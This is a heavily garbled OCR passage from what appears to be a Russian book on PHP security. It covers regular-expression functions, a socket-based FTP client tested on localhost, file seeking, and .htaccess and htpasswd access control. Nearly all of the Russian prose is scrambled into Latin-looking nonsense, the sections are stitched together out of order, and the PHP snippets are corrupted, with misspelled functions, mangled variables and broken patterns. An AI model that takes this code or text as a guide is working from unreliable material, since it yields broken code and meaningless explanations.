© OO0 (BYKIH pres_replace ()2

Stext= "13 EK_-hKLIFRIIN";

Snewtext = preq_replace ("/(0-9A-2)/", "X’
ceho (sneutext);

stext);

Cubon * osmauaeT orpuaHHe. ECTH HEOBXOMMMO 3aeHHTS chwborion X nce, Kpowe.
wipp 1, 2 1 3, 70 HeTOTb3YeM WAGAOR /1~1231

13_sahkL3ERIL

Snewtext = preg_replace("/(*123)/", "K", Stext);

echo (snewtext);

Stex

Kak Bu1HTe, paGOTa ¢ peryApHIMH BHIpaXenAMH § cTiute Perl u PHP oders noxoa.

3.6.4. TyHKuuM perynapHeIxX sarpaxeHuii Perl

B 5ToM payierie Haw MPEICTOT TIOTHAKOMIHTECA ¢ (PYHKIAIMMH 113 PAGOTH ¢ peryiap-
e supaxerma Perl. [la, GYNKUH OTIWHGIOTCE OT TeX, §TO Ml PAccMOTPETH
Bpas0. 3.6.1, HO HEKOTOPHIE 13 HIX OHEHS CXOAH. OHY 3 TAKIX ByHKIH Ml yke
PACCMATHBATH W He Pa3 HCTIOTH3OBATH — 3TO preg_xeplace ().
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5TOpOfi CTPO'IKE KOZa OTIPABTAEM CTPOKY C TIOMOUIBIO BYHKLUMH socket._wrice (). Jlatee,

WTOGH! MpHMEp Gbu1 Gonee WHOPMATHBHEN, BhiBeteM Ha Web-CTpaRWILY KOMAHY, Ko-

TOpaA Gula HATPARTEH CEPBEPY, & IEPE KOMGHION TIOCTABHM CHMBO >, YKATHBAIO-

i, 90 CTPOKa HanpaBicHa cepaepy.

Teneps wurraem oToer cepacpa. H chosa A3 9Toro HeroMB3yIOTCR 8e cTpok. Bropas

(Gyner nyCTOM, MoITOMY ClicHapHi ec Ha SKPAH He BHBOIT.

3anycTHTe cuueHapHi, 1 Bbi JOTKHH YBHIETS Ha IKPaHe MIPHMEPHO CreTyIoukH pesyb-

Tar:

Connected

<220 f1enown FT? server (Version wi-2.6.2-5) ready.

> USER flenov

<331 Password required for flenov.

> enSS varpix

< 230 User £1enov logged in

> sust

< 215 WNIX Type: 18

ECH B XOTHTE PEQTHSORATS Ha CBOSM CaliTe BOSMOXHOCTH FTP-KTHENTa, TO A He pe-

KOMEHIYIO A€7aTh 5Ty TyAGY J0CTYNHOR Bcew monsiosaTena, CkauaTs daiis ¢ caji-

Ta TONK30BATEH MOTYT W ¢ TowoMbio HTTP-IpoTOKOa, @ 218 arpySKH Ha cephep

MOKHO HCTIOTB30BATS METOAS, OHCAHKHIE B pa30. 5. 1. FTP-KOMAHAH! 1I03BOISHOT yeTa-

"HABTMBATS COSTMHENHA MEXTY KOMTILIOTEpaMH 1 OGMEHHBATLCA Gafinani, a 370 Bosce

HeGesonacio.

H nce ke, FTP-KIHEHT MOKET OKANTECS YIOGHSIM B CUUCHADHSX QIMHHHCTPHDOBAHHS 1

(GE30MACHIN, €cTH A0CTYTIEH TOTISKO AIMMHHCTPATOpy. Tlph paspaGote FTP-kiwenta

VAHTHBAITE CTEAYIOLIHE COOGPRKENH 10 GesonacHocTH:

O mww# pas MOBTOpIOCS, MTO HyAHO mpoBepTH Kakaw napaverp. Xors FTP-
KTHENT HAXOIHTCA Ha Balllew CaiTe B LEHTPC ATMHHHCTPHPOBAHHS H, TIO WiCE, 1071~
e GbiTh ZOCTYNEH TOTHKO QIMHHHCTPATOPAM, HEOGXOTHNI BCe TIPOBEPKH BCeX -
paerpon. Eci Xakep cMOXCT oGOMTH CHCTEMY ayTeNTHQMKALLH, moAHOLEHHHH
FTP-KIMEIT CAnaeT 310y MbIlTeHHIKa Gorow b Bamiei cHCTeNe;

O enatensHo orpamHTs Z0CTYT K cepaepy o FTP-poToKony Tonsko onpeeieH-
HAIMM KaTaTOraMH. JLT4 STOFO HEOGXOAMMO NIPOBEDATS NIAPAMETPEL, YKATHBAIOLIME Ha
KAT&I0T, C KOTOPHIM PaGOTAET NOTI0BATEN,  SCITH KATATOr SAPELLEH, TO Mpep-
Bame 10eTy™;

O noCTapaiiTech OrpAHHAHTS KOTHYECTBO THIIOB Gaiiios, AOCTYIIHAIX 1A JArpy3KH Ha
GepBep, TOMBKO HeoGXOMMbIMH. ECTH Ha ceppepe I0TKHE! XpaHHTHC b HTML-
ali, To BTIOTHE OTHHO MPOREPATS, HTOGH! 72rPYAATHCH TOTKO Takie pals;

O peasyliTe HOKTIOSHTETBHO Te BOSMOXHOCTH, KOTOpHE AGHCTBHTENSHO HEOGXOH-
M. B BPEMS COMIANHS CILeHapHS He JOTAHO GBITh COOGPAEHWH THNA "aBoch TIpH-
ronures”. TTpotokon FTP CHILIKOM OaceH 13 cepbepa, {TOGH TaK PAcCyKITS, 10~
TOMy 3ampewIaEM B, 4O ABHO He pa3peIEHO.





index-121_1.png
124 rnaea3

Tloce waGoHa MOTYT YKASHBATHCH MOTHPHKETOPH! B CEAVIOUIEM BHE:

Imatnon/omrmarops

MompuKarops: mpeACTaTSIOT coGoi Gyknbi, KOTOpHIE RIHSIOT Ha EryASpHOE BHpa-

enve. HauBonee nonyspwbivi moawdkatopa Perl smniorcs & u x. Pacewotpi

WX Ha IpHMEpaX.

O {— wrHopuposate pervcTp Gykn. DT aAWAT, 4TO peryispHOC BHPEKeHH
/hacker/: Gyxer coonercTaonars cnonam hacker, HACKER, HacKer n. 15

O x— WrHOpHPOBATS B WIAGTOHE MPOGETSL, MIEPEBOEH CTPOK 1 KowMerTapiH. Tlocen-
HHe CreaIOT Koa WaGiona Gonee wwraGesbiv. Hanphvep:

’ + Havaro
hacker  # Ucxomoe croso
x # Kowew supaxewss 4 MODAUKATOD X

00 51— 10 YMOHAHHIO TEKCT PACCMATPHBIETEA Kak OZIHA CTPOKE, HO €CTH YKASGH STOT
NOTHDHKATOP, TO MOXHO HETIOAL3ORATS MHOTOGTPONIBI TEKCT.

'MOKHO YKaSHIBATS CPa3Y HECKOTHKO MOTHOHKATOPOB.

B perynspisix seipaxensax Perl Gonsuioe amaverme weet oGparsit caeus. B 1a6a. 3.1

PEACTABCHSI PAVIIINAIE BAPHANTSI HCTIOTI0BHHS STOTO CHMBOTA.

TaGruua 3.1. Venons300asue 0GpamMHOZO criswsa e pozynapHbIX sbipaxewus Perl

Orpanwvenme | Onwcanwe

o [
\e Oroytorene rpanms crosa
V| Hewnocom

@ Kowew crpon i nepeson kaperin
\e Koneu crpomn

7GR caMeon, Kpowe AECHTHOR WHGPH!

TipoGen wnw cwson Tabysm

\s Bce, xpowe nposena
\n ‘Chwaon nepesona kapero (cnson ¢ xoaom 13)

v ‘Gnweon sosepara saperun (omison cxorom 10) B

\e ‘Gwunon TaGynauumn (cweon G oaom 9) - B
o Crason, xoTopsih wenonssyeTEa 8 Crosax, — GyKas, Wxdp H noRvepRBaNHE
W B, powe cHuBOnOS, Kenoms3yeMsx 8 G1083K

[ Tlosuonser 3agaTs CAMBON Yepe3 ero wecTHaRUBTEPHAHIA koA
Hanpawep, A 3a4aKAR NGTAHCKOR GyBil A WYXHO KGNACATS \x41
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socket_write(ss, Sstr, strlen(sstr));
print ("<p> > Sstx </po") 7

PrIRLE("<p> < s </p>", socket_read(ss, 1000, PHP_NORWAL RERD));
socket_read($s, 1000, PiP_NORMAL READ)

7/ Onnpannsen xowawny SYST (ompesenTL CHCTOMY) X ‘imaek pesymuTaT
Sstr=rSYST\n';

Socket_write(ss, Sstr, strlen(sstr)):

print ("<p> > Sstr </p>");

PEIRCE("<p> < 45 </p>", socket_read(Ss, 1000, PHE_NORMAL RERD));
socket_read (s, 1000, PHP_NORWAL READ) ;

>

Hauaio THCTHATA BaM ZIOTAHO GHITh MOHATHO Ge3 ZOMOTHHTESHSIX TIORCHEHHH. Oripe-
ensem IP-azpec yxasanoro FTP-cepaepa. 1 TECTHPYIO ClCHADHH Ha JIOKTHOM cep-
Bepe, no3ToMy B Kasectse anpeca yKasawo localhost. Tlociie ITOMO COITAEM COKET 118
paGoTsi ¢ TCP-npoToKOIoM H nozKTioNaeNes K nopry 21.

Cpasy nocae mozioteiys FTP-cepaep Z07Ke BepHYTS Haw CTPOKY TPHBETCTBN,
MMEHHO e€ M HTae. OGPATHTE BHHMAHHE, 4TO YHTAIOTCA JIBE CTPOKH, XOTA Ha IKPaH
BbIBOTCS TOMLKO iepBas. TTouewy WeHHO Tak? J[eo b Tow, 'ro FTP-cepbep oTnpas-
IET KIHEHTY CTPOKY, KOTOpAS JaKAHYHBACTCA CHMBOTAMH KOHLLA CTPOKH (1) H TIEpeBo-
1a Kaperkn (\2), Hanpuwep:

220 tlenovm FTP sexver (Version wi-2.6.2-5) ready.\n\x

ynKuwA socket_read() ¢ MAPAMETPOM PHE NORVAL READ WWTACT JGHMMiE, TIOKa He
BCTPETHT OGO 3 CHVBOOB \ry WIH \r, @ JHQUHT, PaioOET ITOT PE3YILTAT Ha Abe
cTpoki:

220 flenown FT server (Version wi-2.6.2-5) ready.\n

e

HIMEHHO TI07TOMY Mt SHTACM PesyIsTaT K. BTOpYIO CTPOKY Mol IPOCTO SHTae,
HO He BBIBOIMM Ha CTAHMLLY, IOTOMY \TO OH TyCTas TIpH BBIBOE CTPOK, TIOAYYEHHbIX
OT CepBepa, B HAYATE CTPOKI OTOGPKAEN CHMBO <, YKEJHBAIOWINH, 4TO AaHHHE MOTY-
HeHSI OT YIATEHHOTO KOMITHIOTEPA.

‘Teneps rocwoTpHM, Kak nepeasats cepnepy FTP-KOMaHAH! Ha pHMEpe OTTIpaBKi cep-
5Py HMEHH IOTSSOBATEI 1A ABTOPHIALK:

Sstr"USER flenovin®;

socket_write(ss, Sstr, strlen(Sstr));

print (B> > Sstx);

PriRCE ("<P><ta", socket_read(Ss, 1000, PHE_NORWAL_READ));

Socket_xead (3, 1000, PHE_NORWAL_READ) ;

‘CHataa popMHpYEM B TiepeNeHHOli Sstx CTPOKY, KOTOpas GYAET OTTpaBIEHa Gephepy.
JUia cepepa FTP-KOMaHAA JIO7KHa 3aKAIWHBATLCA CHMBOTOM KOHUA CTPOKH (\n). Bo
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Tor baxT, 410 PHP NOLIEpKHBAET 183 THNA LIAGIOHOB, ARIACTCA HEOSTIOPHMBIN Tpe-
MYLECTBON, TOTOMY S0 370 MPEBPALLAET €10 B Ol MOWUHBIH MHCTPYMEHT OBecrie-
HeHHA GE30NIACHOCTH, @ GEONIACHOCTS He GBIBACT YpeamepHOR. HeKoTopsie 1361k B00G-
e HE MEIOT TAKOH BOSMOKHOCTH, H ¢¢ IPHXOIHTCA PERTHIOBHBATS CAMOCTORTENHO
© NONOINHIO GyHKIMI IR MAHWIYALMIE HOZ CTPOKEMH. B STOM cydac Bospacraer
BEPORTHOCTS OWIHGKH B PeATH3ALH NPOBEPOK, KOTOPOF XIKE HEMPEMEHHO BOCTOTE3Y-

3.6.1. TyHKumm perynapHeix sspaxeHuii PHP
JlaafiTe cHavATa paccMOTPHM (YHKLUH, KOTOPHIE MOFYT HCTIOTBIOBATHES COBMECTHO

 PeryIApHLIMH BHPEKEHHAH, @ STCM YKe Tiepeiiew K npaxrike. [1pocTo HeT cbica
YHNTEGH CIPOWTS BUPUXCINA, He 3HaS, KaK HX MOKHO HCIIOTSOBATS.

Bynkuma ereg()
DYHKUNAA oreg() WILET B CTPOKE COOTRETCTBHE PETYINDHOMY BhipaKeno. B obiien
BHIE OHa BIITTATHT CIEYIOLIHM O0paION:
int ere
string pattern,
string string
t, array ress) )
'Y pYWHIKILHH TPH NAPAMETPa, IEPBHIE 1163 H3 KOTOPHIX ABIAIOTS OGT3ATETLHBMA:
O pattern— peryIApHOE BHIPAACHHE;
03 string — CTpOKS, B KOTOPO MPOCXORHT NIOHCK;
O regs — MepeMenNas, B KOTOPYIO GYIeT NOMEIMeH MACCHS HAFIEHHSIX IHASEHHH,
ECH peryIupHoe BHpaeHMe PaiGHTO Ha MACTH ¢ TIOMOLIBIO KPYTBIX CKOBOK, To

CTPOKA PIIGHBAETCR B COOTOCTCTAMN C PETYINPHAIN BHPERCHHEM H NOMEUACTCA
5 MaceHp. Hy1ehoH IeMeHT MaCCHBa — KoMHS CTPORH.

Zywkuma eregi()
QYHKUA ereqt () WIEHTHIHA ereg(), HO TpH TOHCKE HEYBCTBHTENHA K PErHCTPY
Gyxs. TlapaweTpst y oGei yHKLH OTAHAKOB.

Byuuus ereg_replace()
e ——————————
ine eres_seplace

scxing pattemn:

steing replacenent,

Steing string)
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Ecn Kakoi-To calft QATBTPYET CIEWNATLHHE CHBOTH Y MO, TO, BOIMOKHO, O
XPAHMT 1GPATH B YHCTOM B, O FBIAETES MPOGAEMOH COBEPUICHHO ZPYTOTO KIACCH.
Bee 11ApOTH B0 BPEMA XPAHEHHA JOKH GHTh SAUMOPOBAI  AYHLIE BCErO ¢ Mo~
MO0 Xent-yHKILH, KOTOpBiE He COTEPAET HHKAKHX ONacHbIX CHMBOTOB.

Bropot 1 TpeTHi YpOBEHb Y Hac TOTYMITHCH OCTATONHO ZENOKPATHIHBIN, H OH A
AMOTER MOTEHUMATSHOH NPOGEMOf € TOuKN FpeRs GesonacoeTH. Hrooe mpobea e
TPEBPATAAACh B KATACTPOY, HEOGXOTHMO OTCHEAMHBATS B COBPEMEHHbIE METOH ATak
W 38palice MOTHGHIAPORATS KOA.

HcroniayiiTe cBow GYHKUMH A4 BCEX NPAMETPOB, KOTOPHE Bl MIOTYNAETE O MIOTH30-
BaTEIICH, W AWK TAM, TA€ BB YBEPCHH, TO HHYENO ONACHOTO HE MOKET MPOSONTH
Cerons onacoCTH HeT, a ABTPa Bl MOIMGHIMPYETE KOX NPOTPANAHI Tak, ST ATA
BYIOMIIAKA OTKPOIOTES BOPOT ¢ HAITHCEHO "JI0GPO OKRIOBATS. CKOTHKO Pas TpHXo-
JUTCA BWICT COOGIEHHS 0 TOM, 1O YAYBHWOCTH NOABWIACE B BEPCHH 2.0, 2 B Bep-
Chi 1.0 ee e GbU10, XOTA GYHKUHOHATLHOCTS ITOM HACTH KOTA He MEHATACH, TOTHKO
_H0GaBIACH OHa GE300HIHAA CTPONKE, PAIPYUIMBLIZA KPETOCTS,

C nowouo_ ywHbepcansHbX dyHKIIAR AWATHSA KOPPEKTHOCTH NPAMETDOB YAOGHO
BemomuATS OGue npobepKy. Jla, O HAHGOTCE HEKTHBIS, HO He SACHBAHTE, 1O
CYMECTBYT MHOKECTBO PAVIWHHLIX ATIK, H O BCEX HE JALINTHILICA YHHBCPCUTHHNN
Gy, ECiin cCT BOSMOKHOCTS IPOHIBECTH GOce TOHYIO IPOBCPY, TO HEOOXo-
w0 zenaTh 570,

Jlonycriny, y Bac ecT rone BB04A A1 YKA3 MR AaTH pOACHHS. Bronke TorHo Oy-
1T MpOMIBCCTH HAR MEpeweHNOf, Xpansuieii ATy, CACIYIOUME MPOREpKH. (TOMMNO
POBEPKH Ha HEZOMYCTHME CHMBOTS):

O sneno somto GbiTh e Gonbie 31;

O wecsu nomken Guirh e Gobue 12;

O ron zomen Gorrs Gosue 1930 (He Aywalo, HTO y Bac GYIYT NOTG30BATENH CTape
80.7T) i Menbine, uew Texylias 7T, EGAM AGTa DOKICHHR KACACTR MOCCTHTENR
CaifTa, TO MOAHO IPOBEPATS, WTOGH FOX LA MeHLle TekyIEi AGTH MHIYE 2 FOT,
HoTOMY ¥TO roROBANH PEGEHOK TakKe He GYACT BaILHM NOCCTHTEICM.

3.6. PerynapHuie sbrpaxexus

Pecyaspivie upaswenua (regular EXpresSions) — 310 JOCTATONHO GIOXHAL, HO MHTE-
PecHas (byHKIHOHTHHAT BOIMOAHOCTS, KOTOPAS OSBOTAET BHIIOTHHTS OCHOBHBE W
‘CaMie HEOGXOMMMSIE IPOBEPKH TIEPENEHIbIX 1TH MPOWSRECTH MANMITYAALII HAA CTPO-
Kawi. PeryIapHBic BHPEAEHHA NPEICTABIAIOT COGOH WAGIOH W TPHIBAHEI POBEPHTE,
cooTneTCrBYeT A1 €y CTPOKa. COBMECTHO ¢ POBEPKO MOKET OCYIIECTRATLCH BHGOP-
Ka WIH 3aeHa KaAeHHOR OTCTPOKH,

Stsuic PHP OIEpAMBACT 163 THIIG peryIAPHX Bopakenyi — cranaaptisie POSIX
Perl. Gynxuwin 113 PaGOTH C TaKMMH BLIPEKEHHSNM HCTIOTSIYIOTE PaTHE, W Mbi pac-
CMOTPHM 05 BADHAHTA COSIAHMA H IDHNEHEHHS PETYAAPHHX BbIpaK e, Kakofi biiGe-
PETE Bbl, ABHCHT OT THSHIX MPEANOTTEHHA.
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BepTHKATSHAR epTa BHCTYNACT B porH forieckoro HIIH,  hyhkuwss wiet moGoe 13
waserwii c7esa M CTIPaB T 4epTel. TaKHM CTIOGOGOM MOKHO PASIETHTS HECKOTHKO
aHaseHWH, HATpHMED:

Stext= "BI 8 188 Hello world from BHE";

Snewtext = eregi_replace ("SI /18| TBB", "replaced”, Stext):

echo(snewtext) ;

JITA YKGSAHHA OTIDEETEHHEIX CHMBOTIOB CTEIYET HCTIOTH30BATS KBQIPATHHIE CKOGKH.
Hanpiep, ss1 XoTHTe HaliTh TioGuie 4wcna OT 0 70 9. JlyuliM BapHANTOM GyzeT ce-
Iylomee perynaproe BHpaKEHHe: (01234567651

A ec myxist Bee Gykei? He GyleM e Mbi TIEPESHCIATS X BOE B KBAIPATHBIX CKOG-
xax. Koeuno, Her. JIOCTaTONHO YKA3aT nepmiilh CHMBOT W, 'epes Thpe, mocemii. T
Kas% 3aMHCH, GYAET COOTBETCTBOBATS 3aMHCH "OT W 10", HaTpHMEP, 00k peryiapHoe.
BPIACHIHE COOTBETCTBORATO OGOt LIH(PE, MOAHO HATHCATE (0-51, & HTOGH OHO CO-
OTBETCTBOBATO MOGOMY CHMBOTY JATHHEKOTO A1DABHTa, CEAYET HATHCaTs. (a-z1. Ho
ToC7eHEE BHIPEKEHHE OTPEEAAET TOMbKO CTPOSHbE GyKBii. UToGs BKIIOWTS B Hero
elme W arTaBHbe, HAMMIIEM (a-zh-2).

B KBATPATHEIX CKOGKAX M MEPESHCATEN HEOGXOMAMBIE CHMBOTH WIH AMATAIONH, 3
MOXHO 1 TO, M ZPYTOE OnHOBpeNCHHO. HanpuEp, CICIYIOILEe BPIXEHHE HUIET MO~
6y10 GyKBy JTaTHHCKOTO a7paBHTa, WHPY WTH CHMBOTH TIOTMCPKHBAHHA, THPE W IpO-
Gena:

(0-a-2A2-_ )

B HEKOTOPHIX CHIYAILASX TPOUE YKASATS, STO PASPELIEHO, HeM TIEPESHCAATS T0, 40 3~
npeiero. B STOM CyHae Mepe MOCENOBATEbHOCTEO CHMBOT0B Crasion *. Hanpivep,
BIpaKeHHe (*E3) paspewact Boe GyKsi, kpowe F i .

Crenytouui Ko samenser TioGble wibpsi Gykeoli X:

Stext "99¢1758
Snewtext = ereg_replace("[0-9]", "X", Stext);
echo(snewtext) ;

B peayibTaTe CrpoKa NpEBPATHTCS B XXOXKSKY.

Paccmorpin e npiep. JlomycTin, 4T HysxHo 3aweniTs Ha "XX TobKo A€ noce-
IOBATENBHO CTORIIAX LGPH, eci 5TH LHBPS! OGPa3YIOT HCAo Mewee SO. Jlns 10T
HEOBXOIMO HCTIOK30BATS WAGOH: (0-41 (0-5)
99175875

ereg_replace ("(0-4] (0-31", "X", Stext);

st
Snewtext

Kuknas Keazpamias ckoGKa omckisaer oaun cunor. Tlepsoit ckoGie cooraeTcTayer
moas wipa ot 0 20 4,  BTOpoH — whpa or 0 210 9. TakiM 0GPION, NHHHNATEHOE
WET0, COOTBETCTBYIOMIEE WAGHONY, Gy 00, 3 MakcHMansHoe — 49. B Hauiew npive-
pe B 5T0T AWanasor nonanaet wHco 17.

HHOrG BOSHHKGET HEOBXOTMMOCTS YTIPABTATE KOTHYECTBOM MIOTOPRENHIX CHMBOIOS.
HanpMEp, €cT HAC MHTEpECYIOT CTPOKH, B KOTOHIX GyKna A BcTpesaeTcs XoTs Gut
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Mspaverput
O pattem — peryaspHoe sHpaXeHie;
O zeplacanent — Hoboe sHaveHe;

3 stxing — CTPOKS, B KOTOPOH IPOHCXOIIT TIOHCK.

Bywkuus eregi_replace()

yHKUNA ereqi_replace () WICHTIHA oxeq_replace (), HO WHOPHPYeT pervctp. apa-
MeTp y oeinx ByHKuAH OTHHaKoBH

Bynkuma split()
DyHKIAS spit () ParGHBAET CTPOKY B COOTBETCTBUM C PEry/SPHEIM BHPIKEHHEM H BO3-
‘BpallaeT MaccHB cTpoK. B oblileM BIie OHa BAIFIAIHT Tak:
J—
string pattem,
string string
() snt Limie) )

Tapaverps dywwin:

O pottern — peryaspHoe BpaKetHe;

O string — CTPOK, B KOTOpO/i MPOHCXOTHT TOHCK;

3 Limi — OrpAHINEHHE KOTHYECTOA HAIEHHLIX SHAUEHHH.

Bynkuma spliti()
DYHIAR spLits () WAEHTIIHA 515 (), HO HEUYBCTBHTETHA K PETHCTPY GyK 80 BpeN
[y ——

3.6.2. Micnonb3osaHue perynapHiIx sazpaxeniii PHP

PacowoTpM mpocrefumli TpHMEP, B KOTOpoM cHmBonst "BI" B CTPOKe saweHsioTCE
HTMLrerawm <e><1>:

Stext:

I Hello world from PHE;
Snewtext = eregi_replace("BI", "<B<I>", Stext);
ccho (snewtext)

B e PEryISPHORO BHPEKEHIA MOKET BHCTYTIATS KIACCHECKAR TIOACTPOKS, KOTOPYIO
HyKHO HalfTi

Venonamm sazauy. JlonyeTiu, To Hau HyKHO HaifTH moneTpoKy "BI" wnw "IB". Jlix
3TOTO MOHO PAVICTHTS HEKOMIE TIOIICTPOKH CHMBOTOM BEpTHKATHOM GepTb:

Stext= "BI Hello world fram PHE":

Snewtext = exegi_replace("BI| 8", "<B><I>", Stext);

echo (snewtext) ;
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fseek(st, SEEK END, -10);
55 = fread(se, 10

B nepeol CTPOYKE KOZa ¢ TOMOWISO BYHKIMH fseck() M MEpEMCUBENCH Ha
10 cuwmonon ot Kowua Galina K wasany. Bo BTOpOH CTPOSKe Mbi SHTAEM nOCTEHE
chnBoTS.

1061 OMPEEAHTS TEKYUIYIO TIOSHIIIO, MOKHO HCTIOT30BATH yHKIIO £tell (). Fii

HYKHO TIEPETS TOMBKO AECKPHITTOP (Galina, @ B PEIyABTATE Mbi TIOTYaEM KOTHIECTBO
cHwBOOB T Hasana Gaiina. Hanphwip:

Spos = £rell (5617

HToGst GHCTPO MEpeMecTHTCA B HawaTo Gailia, MOXHO BOCTOMEIORATECA (ynKIUeH
rewind (). Eif CICTYeT NEpenaTs ToMbKo JECKPHITTOP $aiina, B KOTOpOM HYAGHO Mepemec-
THTh yKasaTens Gaiina b camoe HavaIo.

2.14.7. Csoiictea gaitnos

' Galiion MHOTO CROFICTS, W X TETKo ONpexe TS ¢ owoutsio PHP-bysaui, Ge3 o6-
PaueHiA K cHCTeMe HANpaMyI0. HO MPeiKie Hew SAHATECR CBOHICTBAMMH, HYKHO HAyWHTS-
A BBIACHATS, CYULECTBYET IH BOOGULE STOT pain. ITO KEHTENLHO AEAATS NEPEX KIKAOH
nonsTKo oTkpHTs daiin. JUis onpenenens cymectnoamns daiira HemoTRayeTCS
yKiuen £ile_exists ()

int file_exists (string £ilenane)
B KaECTBE NIapaMeTpa dyHKIAH HYKHO TIEPeRaTS 1w baiina, w eciw Gaitn cyuiectayer,
O PeSyILTATOM GYeT true, WHate faisc. TOTAG KOX OTKPHTHA (aliia Aysie mHCaT
reyIouHM 0Gpa3ON, ec ailn JOTKeH CyuecTBORATS:

S0 (£11e_exists (*/var /wew/htnl/1/tosteile. txt™) )
{ die("oain we cymecraver™); |

S04 ($t=Eopen (*/vax finea/htnl 1/test EiLe. Ext, "z")))
{ de("Ouwitxa omepuTes garTa"); |

Crexyiouwas (pyHKIS, KOTOPYIO Mbi GYIEM PACCMATPHBATS, MOTBOTAET OMPEXETHTH
BpeNt MoMeneHHA Galina KM METAZaNHbIX (ATPHMCP, TP2B AOCTYTE) — €1 lectine )¢

int filectine(string filenane)

‘CAGAYIOUA KO ILTIOCTPHPYET CHTYaLLO, B KOTOpO Ha CTPAHHIY BHBOIHTEA PEsyts-
aT BumOTHEHWA Gy £ lect ine )
i€ (Seimentilectine ("testeile. txt
.
Stimestr = date("] d F ¥ hiiis A", Stine);
prine ("Last modified: Stinestr
)

)

‘Taki CrI0COGOM Y10GHO OTOGPAIHTS IONE3OBATEIO JATY TIOGACIHETO BHECEHHS HIME-
‘el B cucHapui
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aTh ABHIH SATPET, HEN NOTOM YTYCTHTS PASPEUIEHHE, KOTOPOE TOSBOTHT XAKEPY YWY~
ToKuTh Mo cepaep.

ECii iyX0 paspewiTs 206ty To7sKo ¢ onpezesentoro IP-aapeca, 10 b afine MoeT
conepaTios creayIOLa% cTpoKa

allow from 101.12.41.148

ECIlH 38Ty IMpEKTHBOR 110 Ercm OGHEIMHHTS ¢ TPEGOBAHHEM BBECTH MApOTh, TO
1848 XaKepa N0 BIOMY CEPBEPA CHTHHO YCTOKHHTEA. J1ECh YAE HEIOCTATONHO THa-
HUR NZpOTA, HEOBXOMMO HMETS KOHKPETHIA IP-a1pec 113 OGPAILIEHHS K COTEPRHMOMY
KATaIOr, 310 TPEOYET HAMTEAbHEIX yCHHH.

FTh Ke NAPANETPB! MOHO YKasHBaTS H B aiine hitpd.conf, Hanphwep:

<aizectory /mymi>

AutType Basic

Authlane "By Invication Only"

AuthUserFile /pub/homeElency/passwd

Require valid-user

</directory>

Hew GyIeTe NOTHIOBATECA B, ABHCHT OT THYHBIX MPEATONTEHHH 1 IOCTYIHBX BO3-
MoKHOCTEH. Ecan y Bac HewbueseHHbii ceppep b HHTEPHETE, TO KoHQHTypaUHOHbH
aitn Web-ceppepa htpd.cont, ckopee Bcero, He GyeT 1ocTyme.

B moom cryac, MHe Gonsiie WpasiTC paSoTaTs ¢ daitro htaceess, moTomy o
CTpOiKiH Ge30MACHOCTH GYYT XPAHHTLCA B TOM € KATAIOTe, Ha KOTOpbiH YCTaHaRTH-
saloTes npasa. Ho paGoTa ¢ HiM HGE3OMACHA, MIOTOMY 4TO IpH HATHNHI YATBHMOCTH
XaKEp MOACT NpOHTTS TOT (paiin, “ero mbi, Koneuro, ne xorwte. M nce-Tasan, epes
Gpaysep OGpaTHTLCA K (paliTy Hes3#, TIOTOMY HTO €10 HMA HANHHAETCA C TOSKH, @ 110
YMOTHaHHIO HOCTYT K Taxim Gaiinaw sanpeueh uepes Web-cepacp.

Menonwsosanme uewtpanosantoro daitra hitpd.conf Aaet caow mpemvymectsa, T. k.
OH HAXOIMTCA B KaTAIOre /etc, KOTOp He BXOIHT B Kopews Web-cepbepa n A0TAEH
GhiTh 3anpelIIch U1 POCNOTPA MOTB30BATETAM

‘Tenleps HaM TPEIICTONT YSHATh, Kak COVIAIOTCA (BalTsl MGpOTEH W KAK MMM YTIpaRIATS.
JIApexTHBa AuthiiserFile YKaIBaCT Ha ailn, XpaHAUUHH HHOOMALIIO O TIOTH30BAT-
13X B MPOCTOM TeKCTOROM chopaTe. Tam CONCPARTCH CTPOKH CEAYIOIETO BLIA:
£lenov: (SHAI 12258t Py4/gaisy2t UENbOAS0E=

B 9700 3aHCH 163 1BPAVETPa, PEVIETEHHbIX ZBOETOHeM. CHAMATA YKAXIHO WA T0b-
0BITETA, @ MI0CTE PAIEAMTEIA CTOHT 3auIHBPOBaHHHIH 10 a7ropHTMy MDS napoas.
DOpMHPOBATS TAKOH (Al BPYHHYIO CIOXHO (0COGEHHO CTOKHO GYIET HANACATS %a-
WHQPOBAHITI TAPOTH BPYIYI0) H GECCMBICTEHHO, TIOJTOMY UTA OGErenvS KHHH
ATMHHHCTPATOpOB cymecTRYeT yrwwa hipasswd s naketa Web-cepoepa Apache.
C HOMOUIS10 5TOf MPOTPaMMb COVIAIOTCA H OGHOBTAIOTCA HMEH H NapOTH 1A Ga3080H
ayresigukan Web-cepaepow HTTP-nonssonaterict.

'VAOGCTBO MPOrPaNMsI COCTONT B TOM, ST0 OHa MOACT WPOBATS NapoTH H 110 a7ro-
Py MDS, 1 ¢ TIOMOUIbIO CHCTeMHOR (yWKLUH crypt (). B 0aHoM dhaibie MOTYT Haxo-
IWTHCA 3ATHCH ¢ OGOHMH THTZMH aporeh.
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B 9T0M IpHMepe TI0GAE OTKPHITHA Baiia Mbi CHAHATA YHTAEM T CHMBOTIOR, 8 TIOTOM YKe
sanuchiBaEM AaHHBe. Tak Kak TIOCTE WTEHHA TIOSHLIAR TIEPEMEILAETCS Ha BOCKMOH CHM-
B0, To 3aHCH Gy eT MPOHCXOTHTE HASHHAR C BOCEMOFO CHMBOTA.

2.14.6. TTosuumoHuposakue B gaiine

Korza HeoBXoaMMO MpoHTaTs paln 32 HECKOTBKO STATOB, OYeEHb BUKHO HETKO IHaTh,
AOCTHTHYT 7 KOHew pafina. He CTOMT HATEATSCA Ha TO, SO DYHKLIMH STEHIS BepHYT
TYCTOE 3HANEHME B KoHLE (ailna, TyMle BOCTIOTH30BATHCS CIIELMATHIMPOBIHHHIM NETO-
20M. B ssbike PHP crs Takofi METON — GyHKIAA £eof (). O BOSBPAILAET e, €CTH
Tekyimas oA cootseTcTayeT Koy daitna. Hanpep, ik stenns dajina Moxer
BUTIAIETS CEIYIOUIHM OGPasOM:

SE(1(58=open("/var wwu/herl /1 /CestEile. EXE", "E)))

{ dte("File open error™); )

“hile (1feof(sE))
0
Sstr = fread(se, 10);
)

felose(st)
B oTow npepe v
HyT KoHeu daina
Teneps, MOCMOTPHN, Kak MOXHO MepewemaTics o dairy. Ecti Mt omkpsuin daitn
pasmepon B | MGAliT W XOTHM NIDOSHTATS TOTBKO HoceHHe 100 GaiT, TO Her cMCHa
nepesThiBaTh nech bain. HyAHO NPOCTO YCTAHOBMT KYPCOp B COOTBETCTBYROUYIO
